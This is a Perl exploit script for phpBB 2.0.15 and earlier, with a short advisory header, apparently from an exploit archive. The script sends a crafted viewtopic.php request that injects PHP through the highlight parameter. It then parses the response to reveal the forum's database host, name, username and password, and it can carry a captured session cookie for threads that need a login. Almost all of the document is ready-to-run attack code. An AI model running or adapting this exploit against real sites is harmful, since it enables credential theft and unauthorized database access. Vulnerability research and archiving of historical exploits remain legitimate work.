phpBB <= 2.0.15 Remote SQL Database Credentials Disclosure Exploit

[Vassily]

Advisory : FrSIRT/ADV-2005-0904
Rated as : High Risk

#!/usr/bin/perl

# **************************************************************
#**
#** phpBB 2.0.15 Viewtopic.PHP Remote Code Execution Vulnerability
#** This exploit gives the user all the details about the database
#** connection such as database host, username, password and
#** database name.
#**
#** Written by SecureD, gvr.secured<AT>gmail<DOT>com,2005
#**
#** Greetings to GvR, Jumento, PP, CKrew & friends
#**
# **************************************************************

use IO::Socket;

print "+-----------------------------------------------------------------------+\r\n";
print "| PhpBB 2.0.15 Database Authentication Details Exploit |\r\n";
print "| By SecureD gvr.secured<AT>gmail<DOT>com |\r\n";
print "+-----------------------------------------------------------------------+\r\n";

if (@ARGV < 3)
{
print "Usage:\r\n";
print "phpbbSecureD.p l SERVER DIR THREADID COOKIESTRING\r\n\r\n";
print "SERVER - Server where PhpBB is installed.\r\n";
print "DIR - PHPBB directory or / for no directory.\r\n";
print "THREADID - Id of an existing thread.\r\n";
print "COOKIESTRING - Optional, cookie string of the http request.\r\n";
print " Use this when a thread needs authentication for viewing\r\n";
print " You can use Firefox in combination with \"Live HTTP\r\n";
print " Headers\" to get this cookiestring.\r\n\r\n";
print "Example 1 (with cookiestring):\r\n";
print "phpbbSecured.p l 192.168.168.12 3 /PHPBB/ 8 \"
phpbb2mysql_da ta=a%3A2%3A%7Bs%3A11%3A%22
autologinid%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22
userid%22%3Bs%3A1%3A%222%22%3B%7D;
phpbb2mysql_si d=10dae92b780914332896df43808c4e09\" \r\n\r\n";
print "Example 2 (without cookiestring):\r\n";
print "phpbbSecured.p l 192.168.168.12 3 /PHPBB/ 20 \r\n";
exit();
}

$serv = $ARGV[0];
$dir = $ARGV[1];
$threadid = $ARGV[2];
$cookie = $ARGV[3];

$serv =~ s/http:\/\///ge;
$delimit = "GvRSecureD";

$sploit = $dir . "viewtopic.php?t=";
$sploit .= $threadid;
$sploit .= "&highlight='.printf($delimit.";
$sploit .= "\$dbhost.";
$sploit .= "$delimit.";
$sploit .= "\$dbname.";
$sploit .= "$delimit.";
$sploit .= "\$dbuser.";
$sploit .= "$delimit.";
$sploit .= "\$dbpasswd.";
$sploit .= "$delimit).'";

$sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv", PeerPort=>"80")
or die "

• Connecting ... Could not connect to host.\n\n";

print "

• Connecting OK\n";

sleep(1);

print "

• Sending exploit ";

print $sock "GET $sploit HTTP/1.1\r\n";
print $sock "Host: $serv\r\n";
if ( defined $cookie) {
print $sock "Cookie: $cookie \r\n";
}
print $sock "Connection: close\r\n\r\n";


$succes = 0;

while ($answer = <$sock>) {
$delimitIndex = index $answer, $delimit;
if ($delimitIndex >= 0) {
$succes = 1;
$urlIndex = index $answer, "href";
if ($urlIndex < 0){
$answer = substr($answer, length($delimit));
$length = 0;
while (length($answer) > 0) {
$nex = index($answer, $delimit);
if ($nex > 0) {
push(@array, substr($answer, 0, $nex));
$answer = substr($answer, $nex + length($delimit), length($answer));
} else {
$answer= "";
}
}
}
}
}

close($sock);

if ($succes == 1) {
print "OK\n";
sleep(1);
print "

• Database Host: " . $array[0] . "\n";

sleep(1);
print "

• Database Name: " . $array[1] . "\n";

sleep(1);
print "

• Username: " . $array[2] . "\n";

sleep(1);
print "

• Password: " . $array[3] . "\n";

sleep(1);
} else {
print "FAILED\n";
}